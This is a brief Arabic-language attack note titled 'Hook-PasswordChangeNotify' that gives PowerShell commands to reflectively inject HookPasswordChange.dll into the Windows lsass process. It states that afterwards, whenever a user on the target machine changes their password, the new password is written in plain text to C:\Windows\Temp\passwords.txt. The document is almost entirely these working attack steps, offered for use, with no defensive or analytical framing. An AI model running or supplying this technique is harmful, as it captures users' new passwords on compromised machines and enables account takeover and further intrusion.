Hook-PasswordChangeNotify

1、نفّذ الأمر التالي في powershell:

Import-Module .\Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass

2、عندما يغيّر مستخدم الجهاز الهدف كلمة المرور، ستُكتب كلمة المرور الجديدة إلى C:\Windows\Temp\passwords.txt